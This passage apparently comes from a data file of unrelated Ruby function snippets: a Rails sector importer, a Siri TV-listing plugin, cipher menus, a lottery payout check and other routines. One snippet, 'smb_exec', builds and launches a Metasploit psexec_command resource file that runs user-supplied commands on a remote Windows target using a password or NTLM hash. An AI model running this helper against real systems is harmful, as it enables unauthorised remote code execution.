'medicina i srodni sektori', 'medicina i srodni sektori', 'медицина и сродни сектори', 'zdravstvo', 'здрaвствo', 'medicine and related sectors' 'health', 'zdravstvo', 'здрaвствo', 'medicine', 'medicina', 'медицина'\n sector_num = 2\n when 'tehnologija materijala', 'tehnologija materijala', 'технологија материјала', 'технологија материјала', 'tehnologija materijala i visokotehnološka proizvodnja', 'tehnologija materijala i visokotehnološka proizvodnja', 'teхнoлoгиja мaтeриjaлa и висoкoтeхнoлoшкa прoизвoдњa', 'technology of materials and high-tech production', 'technology of materials', 'materials', 'high-tech', 'мaтeриjaлa', 'висoкoтeхнoлoшкa', 'materijala', 'visokotehnološka'\n sector_num = 3\n when 'proizvodnja energije, prenos i efikasnost', 'energija i obnovljivi izvori', 'proizvodnja energije, prenos i efikasnost', 'energija i obnovljivi izvori', 'производња енергије, пренос и ефикасност', 'производња енергије', 'пренос и ефикасност', 'proizvodnja energije, prenos, efikasnost', 'proizvodnja energije, prijenos, učinkovitost', 'прoизвoдњa eнeргиje, прeнoс, eфикaснoст', 'energy production', 'energy', 'energije', 'енергије'\n sector_num = 4\n when 'finansije i biznis', 'financije i poslovanje', 'финaнсиje и бизнис', 'finance and business', 'finance', 'финaнсиje', 'финaнсиj', 'финaнси', 'finansije'\n sector_num = 5\n when 'umjetnost, zabava i mediji', 'умjeтнoст, зaбaвa и мeдиjи', 'умjeтнoст', 'art, entertainment and media', 'art', 'entertainment', 'media', 'умjeтнoст', 'зaбaвa', 'мeдиjи', 'umjetnost', 'zabava', 'mediji'\n sector_num = 6\n when 'спoрт', 'sport', 'sport'\n sector_num = 7\n when 'turizam', 'tуризaм', 'tourism'\n sector_num = 8\n when 'poduzetništvo', 'предузетништво', 'entrepreneurship'\n sector_num = 9\n when 'poljoprivredna proizvodnja', 'poljoprivredna proizvodnja', 'пољопривредна производња', 'savremena poljoprivredna proizvodnja', 'suvremena poljoprivredna proizvodnja', 'сaврeмeнa пoљoприврeднa прoизвoдњa', 'contemporary agricultural production', 'agricultural', 'пoљoприврeднa', 'poljoprivredna'\n sector_num = 10\n when 'svi kbe sektori', 'svi kbe sektori', 'сви езз-а сектори', 'all kbe sectors', 'all kbe sektori', 'kbe', 'езз'\n sector_num = 99 # all\n else\n # pull out leading sector number if there (split on space or period)\n begin\n lead_word = clean_s.split(/[\\s\\.;:']/).first # no commas, used in Sector Names\n sector_num = Integer(lead_word)\n Rails.logger.debug(\"*** found sector_num: #{sector_num}\")\n rescue ArgumentError, TypeError\n sector_num = 0\n end\n end\n\n # only check for match on case sensitive 'IT'\n sector_num = 1 if s.strip == \"IT\"\n # Rails.logger.debug(\"*** matching resulting sector_num: #{sector_num.inspect}\")\n\n if sector_num == 99\n relations = ['1','2','3','4','5','6','7','8','9','10']\n elsif sector_num > 0\n if !relations.include?(sector_num.to_s)\n relations << sector_num.to_s\n end\n end\n # Rails.logger.debug(\"*** resulting relations: #{relations.inspect}\")\n\n end\n sectorsAdded = []\n # Rails.logger.debug(\"*** Sector Relations add\")\n relations.each do |r|\n # get the KBE code from the looked up sector description in the translation table\n # Rails.logger.debug(\"*** relation: #{r.inspect}\")\n begin\n sectors = Sector.where(code: r)\n throw \"Missing sector with code #{r.inspect}\" if sectors.count < 1\n sector = sectors.first\n # check the sectors_trees table to see if it is joined already\n matchedTrees = sector.trees.where(id: tree_rec.id)\n # if not, join them\n # Rails.logger.debug(\"*** matchedTrees: #{matchedTrees.inspect}\")\n if matchedTrees.count == 0\n sector.trees << tree_rec\n sectorsAdded << r\n end\n rescue ActiveRecord::ActiveRecordError => e\n eMsg = I18n.translate('uploads.errors.exception_relating_sector_to_tree', e: e)\n Rails.logger.error(\"*** #{eMsg}\")\n errs << eMsg\n end\n end\n # get current list of related sector for this tree\n allSectors = []\n tree_rec.sectors.each do |s|\n # join tree and sector\n allSectors << s.code\n stacks[IDS_STACK][PROCESSING_SECTOR] << \"#{tree_rec.id}-#{s.id}\" if !stacks[IDS_STACK][PROCESSING_SECTOR].include?(\"#{tree_rec.id}-#{s.id}\")\n end\n statMsg = (sectorsAdded.length > 0) ? I18n.translate('app.labels.new_sector_relations', sectors: sectorsAdded.join(', ') ) : ''\n if errs.count > 0\n statMsg += ', ' if statMsg.length > 0\n statMsg += errs.join(', ')\n @rowErrs << I18n.translate('app.labels.row_num', num: row_num) + errs.join(', ') if !@phaseTwo\n end\n\n # generate report record\n rptRec = [row_num]\n rptRec.concat(Array.new(CODE_DEPTH) {''}) # blank out the first four columns of report\n rptRec << '' # blank out the code column of report\n rptRec << ((allSectors.count > 0) ? I18n.translate('app.labels.related_to_sectors', sectors: allSectors.join(', ')) : 'No related sectors.')\n rptRec << statMsg\n @rptRecs << rptRec if !@phaseTwo\n\n @sectorErrs = true if @rowErrs.count > 0\n\n end",
"def analizador (estructura)\n @estructura = estructura\n @contador_estructura = 0\n #p @estructura\n begin\n #puts 'token + '+@token_list[@contador_tokens].token_tok.to_s\n #puts 'Estructura + '+ @estructura[@contador_estructura][0].to_s\n#=begin\n if @estructura[@contador_estructura].is_a? String\n# llamar a comprobar\n comprobar\n else\n# llamar a comprobar_tuplas\n comprobar_tuplas\n end\n #@contador_estructura +=1\n #avanzar_contador_token\n end while @error == 0 || (@contador_estructura < @estructura.size)\n end",
"def programmjetzt\ndoc = tvprogramm(doc)\ndob = tvprogrammsat(dob)\n if doc == NIL or doc == \"\"\n say \"Es gab ein Problem beim Einlesen des Fernsehprogramms!\"\n elsif dob == NIL or dob == \"\"\n say \"Es gab ein Problem beim Einlesen des Fernsehprogramms!\"\n else\n doc.encoding = 'utf-8'\n dob.encoding = 'utf-8'\n docs = doc.xpath('//title')\n dobs = dob.xpath('//title')\n i = 1\n while i < docs.length\n dos = docs[i].to_s\n dos = cleanup(dos)\n doss = dos[0,5]\n if doss == \"ARD: \"\n dos = dosund(dos)\n orf1 = dos\n elsif doss == \"ZDF: \"\n dos = dosund(dos)\n orf2 = dos\n elsif doss == \"SAT.1\"\n dos = dosund(dos)\n orf3 = dos\n elsif doss == \"RTL: \"\n dos = dosund(dos)\n atv = dos\n elsif doss == \"PRO7:\"\n dos = dosund(dos)\n orfs = dos\n elsif doss == \"RTL2:\"\n dos = dosund(dos)\n puls4 = dos\n elsif doss == \"KABEL\"\n dos = dosund(dos)\n servus = dos\n else\n end\n i += 1\n end\n i = 1\n while i < dobs.length\n dos = dobs[i].to_s\n dos = cleanup(dos)\n doss = dos[0,5]\n \n if doss == \"3SAT:\"\n dos = dosund(dos)\n sat = dos\n else\n end\n i += 1\n end\n say \"\", spoken: \"Das läuft gerade im Fernsehen\"\nobject = SiriAddViews.new\n object.make_root(last_ref_id)\n answer = SiriAnswer.new(\"TV Programm - aktuell\", [\n SiriAnswerLine.new(orf1),\n SiriAnswerLine.new(orf2),\n SiriAnswerLine.new(orf3),\n SiriAnswerLine.new(atv),\n SiriAnswerLine.new(sat),\n SiriAnswerLine.new(puls4),\n SiriAnswerLine.new(servus),\n SiriAnswerLine.new(orfs)\n ])\n object.views << SiriAnswerSnippet.new([answer])\n send_object object\n \n end\n request_completed\nend",
"def SAC03=(arg)",
"def saludanombre(nombre)\n\tputs \"Estimado Señor #{nombre}\"\nend",
"def smb_exec\n\t\tprint_status(\"\")\n\t\tprint_status(\"Windows Authenticated User Code Execution\")\n\t\tprint_status(\" MSF PSEXEC_COMMAND Payload Delivery \")\n\t\tprint_status(\"\")\n\t\tprint_caution(\"Provide Username: \")\n\t\tzUSER=gets.chomp\n\n\t\tprint_caution(\"Provide Password or LM:NTLM Hash: \")\n\t\tzPASS=gets.chomp\n\n\t\tprint_caution(\"Set Domain (Y/N)?\")\n\t\tanswer=gets.chomp\n\t\tif answer.upcase == 'Y' or answer.upcase == 'YES'\n\t\t\tprint_caution(\"Domain to use: \")\n\t\t\tzDOMAIN=gets.chomp\n\t\telse\n\t\t\tzDOMAIN='WORKGROUP'\n\t\tend\n\n\t\tprint_caution(\"Target IP: \")\n\t\tzIP=gets.chomp\n\n\t\tprint_caution(\"Number of Threads to Run (1,5,..): \")\n\t\tzTHREADS=gets.chomp\n\n\t\tprint_caution(\"Use default SMB Port 445 (Y/N)?\")\n\t\tanswer=gets.chomp\n\t\tif answer.upcase == 'N' or answer.upcase == 'NO'\n\t\t\tprint_caution(\"Port: \")\n\t\t\tzPORT=gets.chomp\n\t\telse\n\t\t\tzPORT='445'\n\t\tend\n\n\t\tprint_caution(\"Use C$ share (Y/N)?\")\n\t\tanswer=gets.chomp\n\t\tif answer.upcase == 'N' or answer.upcase == 'NO'\n\t\t\tprint_caution(\"Provide share to use: \")\n\t\t\tzSHARE=gets.chomp\n\t\telse\n\t\t\tzSHARE='C$'\n\t\tend\n\t\t#Our Base Resource File, just needs commands and run statements added\n\t\trcfile=\"#{$temp}msfassist.rc\"\n\t\tf=File.open(rcfile, 'w')\n\t\tf.puts \"db_connect #{MSFDBCREDS}\"\n\t\tf.puts \"use auxiliary/admin/smb/psexec_command\"\n\t\tf.puts \"set RHOSTS #{zIP}\"\n\t\tf.puts \"set RPORT #{zPORT}\"\n\t\tf.puts \"set SMBSHARE #{zSHARE}\"\n\t\tf.puts \"set SMBDomain #{zDOMAIN}\"\n\t\tf.puts \"set SMBUser #{zUSER}\"\n\t\tf.puts \"set SMBPass #{zPASS}\"\n\t\tf.puts \"set THREADS #{zTHREADS}\"\n\t\t#Get commands from user\n\t\tprint_line(\"\")\n\t\tprint_error(\"No Daisy Chains!\")\n\t\tprint_caution(\"Enter the number of Commands you need to run (1,2,..): \")\n\t\tzcount=gets.chomp\n\t\tif not zcount =~ /\\d+/\n\t\t\tzcount=1\n\t\tend\n\t\tcmdz=[]\n\t\tcount=1\n\t\twhile zcount.to_i > 0\n\t\t\tprint_caution(\"Enter Command #{count}: \") \n\t\t\tcmdz << gets.chomp\n\t\t\tcount = count.to_i + 1\n\t\t\tzcount = zcount.to_i - 1\n\t\tend\n\t\tprint_line(\"\")\n\t\tcmdz.each do |cmd|\n\t\t\tf.puts \"set COMMAND #{cmd}\"\n\t\t\tf.puts \"run\"\n\t\tend\n\t\tf.close\n\t\tprint_status(\"Launching MSF PSEXEC_COMMAND against #{zIP}:#{zPORT} in a new x-window.....\")\n\t\twin_psexec_cmd=\"xterm -title 'MSF PSEXEC_COMMAND' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \\\"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\\\"\"\n\t\tfireNforget(win_psexec_cmd)\n\t\tprint_line(\"\")\n\tend",
"def main\nusage = 'USAGE : \\'Lookup.rb <domainname> <cidre>\\''\n\n\nsoa = ARGV[0].to_s\ncidre = ARGV[1].to_i\nif ARGV.length != 2 || ARGV[1].to_i == 0 || ARGV[1].to_i > 32\n\tputs usage\n\nelse\n\n\tdatum\n\tip = get_own_ip\n\tget_arpa(cidre,ip)\n\tforward_zone(soa)\n\tarpa = get_arpa(cidre,ip)\n\treverse_zone(soa,arpa)\nend\n\n\t\nend",
"def grasa(sexo,peso,talla)\n\t\t@grasa = 1.2*imc(peso,talla)+0.23*@edad-10.8*sexo-5.4\n\tend",
"def arrancar(velocidad)\r\n puts \"El vehiculo tiene una velocidad de #{velocidad}\"\r\n end",
"def palavraSecreta(info = @info)\n\n sorteio = info[rand(info.size)]\n @plvSorteada = sorteio['Palavra'].upcase\n @plvDica = sorteio['Dica']\n @plvAjudas = sorteio['Ajuda']\n @plvSecreta = @plvSorteada.chars\n @qtdLetras = @plvSorteada.size\n end",
"def ld_hl_sp_plusr8\n end",
"def verificaesonitre (primo, secondo, terzo)\n\tesonicomuni=0\n\t#se il secondo e il terzo includono lo stesso esone lo conto come comune\n\tprimo.each do |v|\n\t\tif secondo.include?(v) then\n\t\t\tif terzo.include?(v) then \n\t\t\t\tesonicomuni=esonicomuni+1\n\t\t\tend\n\t\tend\t\t\t\t\t\n\tend\n\tprimosecondo=0\n\tprimo.each do |v|\n\t\tif secondo.include?(v) then\n\t\t\tif terzo.include?(v)==false then \n\t\t\t\tprimosecondo=primosecondo+1\n\t\t\tend\n\t\tend\t\t\t\t\t\n\tend\n\tsecondoterzo=0\n\tsecondo.each do |v|\n\t\tif terzo.include?(v) then\n\t\t\tif primo.include?(v)==false then \n\t\t\t\tsecondoterzo=secondoterzo+1\n\t\t\tend\n\t\tend\t\t\t\t\t\n\tend\n\tprimoterzo=0\n\tprimo.each do |v|\n\t\tif terzo.include?(v) then\n\t\t\tif secondo.include?(v)==false then \n\t\t\t\tprimoterzo=primoterzo+1\n\t\t\tend\n\t\tend\t\t\t\t\t\n\tend\n\t#il numero di esoni totali è così calcolato\n\tesoni=esonicomuni+primosecondo+secondoterzo+primoterzo+(primo.length-esonicomuni-primosecondo-primoterzo)+(secondo.length-esonicomuni-primosecondo-secondoterzo)+(terzo.length-secondoterzo-esonicomuni-primoterzo)\n\treturn esoni\nend",
"def correr\n puts MENU\n print \"Que Deseas Hacer? \\n>> \"\n opcion = gets.chomp.to_i\n if opcion == 0\n puts \"GOD BYE....\"\n return opcion\n elsif opcion > 6\n puts \"Opcion no registrada.\"\n return 0 \n end\n salida = 0\n puts \"Indicar ruta del archivo\"\n ruta = gets.chomp\n #puts ruta\n managment = Manejador.new(ruta)\n if opcion == 1\n grals = Generales.new(managment)\n grals.frecuencias(true)\n salida = 1\n elsif opcion == 2\n puts \"Pendiente......\"\n salida = 2\n elsif opcion == 3\n cesar = Cesar.new(managment, true)\n puts \"Dame el desplazamiento. \"\n desplazamiento = gets.chomp.to_i\n cesar.cifrar_Cesar(desplazamiento)\n system(\"rm texto_limpio.txt\")\n salida = 3\n elsif opcion == 4\n cesar = Cesar.new(managment, false)\n puts \"Dame el desplazamiento. \"\n desplazamiento = gets.chomp.to_i\n cesar.des_encriptar_cesar(desplazamiento)\n salida = 4\n elsif opcion == 5\n vigen = Vigenere.new(managment, true)\n puts \"Dame la llave del cifrado.\"\n _key = gets.chomp.upcase\n vigen.cifra_vigenere(_key)\n system(\"rm texto_limpio.txt\")\n salida = 5\n elsif opcion == 6\n vigen = Vigenere.new(managment, false)\n puts \"Dame la llave del cifrado.\"\n _key = gets.chomp.upcase\n vigen.des_cifra_vigenere(_key)\n salida = 6\n end\n return salida\n end",
"def execute(val)\n @mResult = \"\"\n id = 0\n rid = Hash.new\n commandParser(val)\n\n addressArr = [\"Ave.\",\"St.\",\"Way\",\"Cir\",\"Dr\",\"Rd\",\"Ct\",\"Trl\",\"Blvd\"]\n @mIterations.times { \n @mCommand.split.each{ |option|\n\n nodelim = false\n \n case option\n when \"id\" # TODO\n @mResult += id.to_s\n when \"rid\" # This method might be a bit slow. Recheck in the future. \n tmp = 0\n while rid[tmp] != true do\n tmp = rand(4000000000) # Assuming that rid is a standard int\n rid[tmp] = true\n end\n @mResult += tmp.to_s\n when \"surname\" \n @mResult += @mSurnames.sample\n when \"address\" \n @mResult += @mWords.sample.capitalize + \" \" + @mWords.sample.capitalize + \" \" + addressArr.sample\n when \"name\" \n @mResult += @mNames.sample\n when \"post\"\n @mResult += (65 + rand(26)).chr + rand(9).to_s + (65 + rand(26)).chr + rand(9).to_s + (65 + rand(26)).chr + rand(9).to_s\n when \"age\"\n @mResult += (rand(40) + 14).to_s\n when \"phone\"\n @mResult += (100+rand(899)).to_s + \"-\" + (\"%04d\" % rand(9999))\n when \"alpha\"\n @mResult += (97 + rand(26)).chr\n when \"ALPHA\"\n @mResult += (65 + rand(26)).chr\n when \"num\"\n @mResult += (rand(10)).to_s # 0 -> 9\n when \"date\"\n month = rand(12) + 1\n t = Time.utc(1970+rand(500), month, 1+rand(31), 1+rand(23),rand(60),rand(60)) \n @mResult += t.year.to_s + \"-\" + \"%02d\" % t.mon + \"-\" + \"%02d\" % t.day\n when \"time\"\n t = Time.utc(1970+rand(500), month, 1+rand(31), 1+rand(23),rand(60),rand(60)) \n @mResult += t.hour.to_s + \":\" + t.min.to_s + \":\" + t.sec.to_s\n when \"space\" # TODO\n @mResult += \" \" \n nodelim = true\n when \"null\" # TODO\n @mResult += @mDelim2 \n when /word/\n (option.to_i == 0 ? 1 : option_to_i).times{ @mResult += @mWords.sample }\n when /range/ # TODO \n # We calculate the offset\n exp = option.split(/range/i)\n exp[0] = exp[0].to_i\n exp[1] = exp[1].to_i\n x = [exp[0], exp[1]].max + 1\n y = [exp[0], exp[1]].min - 1\n @mResult += (rand(x-y)+y).to_s\n when /list/\n @mResult += option.gsub(/list/, '').gsub(/=/, '').split(',').sample\n when /man/\n @mResult += option.gsub(/man/, '').gsub(/=/, '')\n when \"back\"\n 2.times { @mResult.chop! }\n when \"nodelim\" \n nodelim = true\n when \"%\"\n nodelim = true\n end # end the big case!\n \n @mResult += @mDelim1 \n \n if nodelim\n # chop the delim1\n (@mDelim1.length + 1).times{ @mResult.chop! }\n end\n } # end per field\n\n # need to chop the extra delim1\n @mDelim1.length.times{ @mResult.chop! }\n @mResult += @mDelim2\n\n } # end per row\n end",
"def excede_control_de_pago_x_ticket_x_parlay(last_tickect_current_user, entrada) # define el monto maximo a sacar por parlay, ej. pago max para tripletas, cuartetas etc.. no por ticket sino por tipo de ticket parlay ok\n @sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay = 0 # inicializacion de variable de sumatoria en cero ok.\n #verificar tipo de parlay de ese ticket:\n parlay_count = Jugadalot.where(:ticket_id => last_tickect_current_user).count\n #parlay_count\n\n #switch case para asignar tipo de jugada segun tipo de parlay para buscar en control de pago:\n tipo_jugada = \"default\" # valor vacio para posible uso fuera de contexto de septimetas en adelante, hacer que retorne false la funcion ok. (no encontrado)\n \n #el switch case lo haremos de modo simple con el if statement por ahora ok:\n if parlay_count.to_i == 1\n tipo_jugada = \"directo\" \n end\n\n if parlay_count.to_i == 2\n tipo_jugada = \"pale\" \n end\n\n if parlay_count.to_i == 3\n tipo_jugada = \"tripleta\" \n end\n\n if parlay_count.to_i == 4\n tipo_jugada = \"cuarteta\" \n end\n\n if parlay_count.to_i == 5\n tipo_jugada = \"quinteta\" \n end\n\n if parlay_count.to_i == 6\n tipo_jugada = \"sexteta\" \n end\n\n if parlay_count.to_i == 7\n tipo_jugada = \"septimeta\" \n end\n\n if parlay_count.to_i == 8\n tipo_jugada = \"octaveta\" \n end\n\n control_monto_max_pago = Controldepagogt.where(:tipojugada => tipo_jugada ).first.limiteglobal.to_i\n\n #acabo de conseguir el limite global de ese parlay en curso, ahora buscar la sumatoria de todos las jugadalots.posiblepago de los ticket activo de hoy y ver si no sbobrepara ese limiet ok\n t_ids = Ticket.today.where(:activo => \"si\", :parlay => tipo_jugada.to_s ).ids # todos los ticket actio de hoy con ese parlay ok\n \n @listado_jugadas_a_sumar = Jugadalot.where(:ticket_id => t_ids)# POstgres casting sum string error ok..sum(:posiblepago).to_i\n \n if not @listado_jugadas_a_sumar.nil?\n @listado_jugadas_a_sumar.each do |jugada|\n @sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay += jugada.posiblepago.to_i\n end\n end\n\n \n\n #Sumar posible pago de esas jugadas de cada ticket parlay ok.\n #@sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay = 0\n #t.each do |ticket|\n # @sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay += Jugadalot.where(:ticket_id => ticket.id).last.posiblepago.to_i\n #end\n\n if @sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay.to_i <= control_monto_max_pago.to_i\n # si es menor todo ok\n false # no excede\n else\n true #si excede \n end\n\n\n end",
"def preencherLancamentoMulti(valorD1, valorD2, valorC1, valorC2, valorC3)\n preencherCabecalhoLancamento\n # INCLUSAO PRIMEIRO DEBITO \n campoDebitoConta.send_keys(@@conta)\n sleep 1\n campoDebitoConta.send_keys :down\n campoDebitoConta.send_keys :enter\n campoDebitoValor.set(valorD1)\n campoDebitoHistorico.set(@@historico)\n sleep 1\n campoDebitoHistorico.send_keys :down\n campoDebitoHistorico.send_keys :enter\n campoDebitoComplemento.set(@@complementoDebito)\n click_button('Adicionar Débito')\n # INCLUSAO SEGUNDO DEBITO \n campoDebitoConta2.send_keys(@@conta)\n sleep 1\n campoDebitoConta2.send_keys :down\n campoDebitoConta2.send_keys :enter\n campoDebitoValor2.set(valorD2)\n campoDebitoHistorico2.set(@@historico)\n sleep 1\n campoDebitoHistorico2.send_keys :down\n campoDebitoHistorico2.send_keys :enter\n campoDebitoComplemento2.set(@@complementoDebito)\n # INCLUSAO PRIMEIRO CREDITO\n campoCreditoConta.send_keys(@@conta)\n sleep 1\n campoCreditoConta.send_keys :down\n campoCreditoConta.send_keys :enter\n campoCreditoValor.set(valorC1)\n campoCreditoHistorico.set(@@historico)\n sleep 1\n campoCreditoHistorico.send_keys :down\n campoCreditoHistorico.send_keys :enter\n campoCreditoComplemento.set(@@complementoCredito)\n click_button('Adicionar Crédito')\n # INCLUSAO SEGUNDO CREDITO\n campoCreditoConta2.send_keys(@@conta)\n sleep 1\n campoCreditoConta2.send_keys :down\n campoCreditoConta2.send_keys :enter\n campoCreditoValor2.set(valorC2)\n campoCreditoHistorico2.set(@@historico)\n sleep 1\n campoCreditoHistorico2.send_keys :down\n campoCreditoHistorico2.send_keys :enter\n campoCreditoComplemento2.set(@@complementoCredito)\n click_button('Adicionar Crédito')\n # INCLUSAO TERCEIRO CREDITO\n campoCreditoConta3.send_keys(@@conta)\n sleep 1\n campoCreditoConta3.send_keys :down\n campoCreditoConta3.send_keys :enter\n campoCreditoValor3.set(valorC3)\n campoCreditoHistorico3.set(@@historico)\n sleep 1\n campoCreditoHistorico3.send_keys :down\n campoCreditoHistorico3.send_keys :enter\n campoCreditoComplemento3.set(@@complementoCredito)\n end",
"def process_value(code,text)\n\n\n # depending on the report code, process the values\n # this is done by reading parameter names and their values\n # and respong on it as needed \n\n case code \n\n # Report parameter value\n when 'R21'\n ard_par_id = -1\n ard_par_val = 0\n\n text.split(' ').each do |param|\n\n par_code = param[0..0].to_s\n par_value = param[1..-1].to_i\n\n case par_code\n when 'P'\n ard_par_id = par_value\n when 'V'\n ard_par_val = par_value\n end\n end\n\n if ard_par_id >= 0\n param = get_param_by_id(ard_par_id)\n if param != nil\n param['value_ar'] = ard_par_val\n end\n end\n\n # Report parameter value and save to database\n when 'R23'\n ard_par_id = -1\n ard_par_val = 0\n\n text.split(' ').each do |param|\n\n par_code = param[0..0].to_s\n par_value = param[1..-1].to_i\n\n case par_code\n when 'P'\n ard_par_id = par_value\n when 'V'\n ard_par_val = par_value\n end\n end\n\n if ard_par_id >= 0\n param = get_param_by_id(ard_par_id)\n if param != nil\n save_param_value(ard_par_id, :by_id, :from_db, ard_par_val)\n end\n end\n\n # Report pin values\n when 'R41'\n pin_id = -1\n pin_val = 0\n\n text.split(' ').each do |param|\n\n par_code = param[0..0].to_s\n par_value = param[1..-1].to_i\n\n case par_code\n when 'P'\n pin_id = par_value\n when 'V'\n pin_val = par_value\n end\n end\n\n if pin_id >= 0\n save_pin_value(pin_id, pin_val)\n end\n\n # Report end stops\n when 'R81'\n text.split(' ').each do |param|\n\n par_code = param[0..1].to_s\n par_value = param[2..-1].to_s\n end_stop_active = (par_value == \"1\")\n\n case par_code\n when 'XA'\n @axis_x_end_stop_a = end_stop_active\n $status.info_end_stop_x_a = end_stop_active\n when 'XB'\n @axis_x_end_stop_b = end_stop_active\n $status.info_end_stop_x_b = end_stop_active\n when 'YA'\n @axis_y_end_stop_a = end_stop_active\n $status.info_end_stop_y_a = end_stop_active\n when 'YB'\n @axis_y_end_stop_b = end_stop_active\n $status.info_end_stop_y_b = end_stop_active\n when 'ZA'\n @axis_z_end_stop_a = end_stop_active\n $status.info_end_stop_z_a = end_stop_active\n when 'ZB'\n @axis_z_end_stop_b = end_stop_active\n $status.info_end_stop_z_b = end_stop_active\n end\n end\n\n # Report position\n when 'R82' \n text.split(' ').each do |param|\n\n par_code = param[0..0].to_s\n par_value = param[1..-1].to_i\n\n case par_code\n when 'X'\n @axis_x_pos = par_value\n @axis_x_pos_conv = par_value / @axis_x_steps_per_unit\n $status.info_current_x = @axis_x_pos_conv\n when 'Y'\n @axis_y_pos = par_value\n @axis_y_pos_conv = par_value / @axis_y_steps_per_unit\n $status.info_current_y = @axis_y_pos_conv\n when 'Z'\n @axis_z_pos = par_value\n @axis_z_pos_conv = par_value / @axis_z_steps_per_unit\n $status.info_current_z = @axis_z_pos_conv\n end \n end\n\n # Report software version\n when 'R83'\n @device_version = text\n\n # Send a comment\n when 'R99'\n puts \">#{text}<\"\n\n end\n end",
"def sommaire\n @data = Membre.codePostaux\n end",
"def getFt \n kword = ARGV[1]\n seq = @gb.to_biosequence\n seqoptions = \"\"\n\n for c in 2..ARGV.length-1\n seqoptions += \"#{ARGV[c]},\"\n end\n \n # look through all features\n @gb.each_cds do |ft|\n ftH = ft.to_hash\n loc = ft.locations\n gene = []\n product = []\n if (!ftH[\"gene\"].nil? && ftH[\"gene\"][0].downcase.include?(kword.downcase)) or\n (!ftH[\"product\"].nil? && ftH[\"product\"][0].downcase.include?(kword.downcase)) \n sbeg = loc[0].from.to_i\n send = loc[0].to.to_i\n fasta = Bio::Sequence::NA.new(seq.subseq(sbeg,send))\n position = \"#{sbeg}..#{send}\"\n if loc[0].strand == -1\n fasta.reverse_complement!\n position = \"c#{position}\"\n end\n pep = Bio::Sequence.new(fasta.translate)\n gene = ftH[\"gene\"][0] if !ftH[\"gene\"].nil?\n product = ftH[\"product\"][0] if !ftH[\"product\"].nil?\n if seqoptions.downcase.include?(\"pep\") or seqoptions.downcase.include?(\"prot\")\n puts pep.output_fasta(\"#{@accession}|#{position}|#{ftH[\"protein_id\"][0]}|#{gene}|#{product}|#{@org}\", 60)\n else\n dna = Bio::Sequence.auto(fasta)\n puts dna.output_fasta(\"#{@accession}|#{position}|#{ftH[\"protein_id\"][0]}|#{gene}|#{product}|#{@org}\",60)\n end\n end\n end\nend",
"def registrar_recarga(companias,montos,recargas)\r\n\tsystem \"cls\"\r\n\tputs \"Compañias\"\r\n\tmostrar_menu(companias)\r\n\tputs \"\\n Tu seleccion: \"\r\n\tcompania=validar(\"\\n Elija una opcion valida: \")\r\n\tif compania >0 and compania <5\r\n\t\tputs \"Montos\"\r\n\t\tmontos = [10, 20, 50, 100, 150, 150, 200, 500]\r\n\t\t\r\n\t\tmostrar_menu(montos)\r\n\t\tputs \"\\n Tu eleccion: \"\r\n\t\t\r\n\t\tmonto=validar(\"\\n Elija una opcion valdia: \")\r\n\t\t\r\n\t\tflag=false\r\n\t\tmontos.each do |i|\r\n\t\t\tif monto==i\r\n\t\t\t\tflag=true\r\n\t\t\tend\r\n\t\tend\r\n\t\tif flag\r\n\t\t\trecargas[compania-1].push(monto).\r\n\t\t\tputs \"Recarga registrada\"\r\n\t\telse\r\n\t\t\tputs \"\\n Monto no valido\"\r\n\t\tend\r\n\telse\r\n\t\tputs \"Operacion no valida\"\r\n\tend\r\n\tputs \"Presiona ENTER para continuar\"\r\n\tcontinuar=gets.chomp\r\n\tsystem \"cls\"\r\n\treturn recargas\r\nend",
"def SAC05=(arg)",
"def update\n if params[:petition] == \"update_borrador\"\n if procedure_params[:classification] == \"ODP\"\n classification_procedure = 1\n\n elsif procedure_params[:classification] == \"Flagrancia\"\n classification_procedure = 0\n else\n classification_procedure = 2\n end\n\n selected_region = \"\"\n selected_sector = \"\"\n\n get_regiones\n\n @regiones.each do |region|\n if region[:codigo].to_s == procedure_params[:region].to_s\n selected_region = region[:nombre]\n end\n region[:comunas].each do |comuna|\n if comuna[:codigo].to_s == procedure_params[:sector].to_s\n selected_sector = comuna[:nombre]\n end\n end\n end\n\n d = procedure_params[:date].to_date\n t = procedure_params[:time].to_time\n\n dateOfArrest = Time.zone.local(d.year, d.month, d.day, t.hour, t.min, t.sec)\n\n respond_to do |format|\n if @procedure.update!(classification: classification_procedure,\n police_in_charge: PoliceMan.find(procedure_params[:police_in_charge]),\n police_unit_in_charge: PoliceUnit.find(procedure_params[:police_unit_in_charge]),\n local_prosecution_in_charge: LocalProsecution.find(procedure_params[:prosecution_in_charge]),\n story: procedure_params[:story],\n address: procedure_params[:address],\n sector: selected_sector,\n region: selected_region,\n state: params[:state].to_i,\n date_of_arrest: dateOfArrest,\n involves_deceased: procedure_params[:involves_deceased])\n\n\n if procedure_params[:deletedAccusseds] != nil\n if procedure_params[:deletedAccusseds].length() < @procedure.person_in_procedures.where(role: 0).length() + procedure_params[:accuseds].length()\n procedure_params[:deletedAccusseds].each do |accussed|\n personInProcedure = PersonInProcedure.find(accussed[:id])\n personInProcedure.destroy!\n end\n else\n @procedure.errors.add(:person_in_procedure, \"se necesita al menos un imputado\")\n format.json { render json: @procedure.errors, status: :unprocessable_entity }\n return\n end\n end\n\n if procedure_params[:deletedVictims] != nil\n procedure_params[:deletedVictims].each do |victim|\n personInProcedure = PersonInProcedure.find(victim[:id])\n personInProcedure.destroy!\n end\n end\n\n if procedure_params[:deletedWitnesses] != nil\n procedure_params[:deletedWitnesses].each do |witness|\n personInProcedure = PersonInProcedure.find(witness[:id])\n personInProcedure.destroy!\n end\n end\n\n if procedure_params[:deleted_photos] != nil\n procedure_params[:deleted_photos].each do |photo|\n photoInProcedure = Photo.find(photo)\n photoInProcedure.destroy!\n end\n end\n\n if procedure_params[:deleted_videos] != nil\n procedure_params[:deleted_videos].each do |video|\n videoInProcedure = Video.find(video)\n videoInProcedure.destroy!\n end\n end\n\n if procedure_params[:deleted_documents] != nil\n procedure_params[:deleted_documents].each do |doc|\n docInProcedure = Document.find(doc)\n docInProcedure.destroy!\n end\n end\n\n\n if procedure_params[:photos] != nil\n procedure_params[:photos].each_with_index do |photo,i|\n @photo = Photo.new(description: procedure_params[:photo_descriptions][i], procedure: @procedure)\n @photo.photo.attach(photo)\n 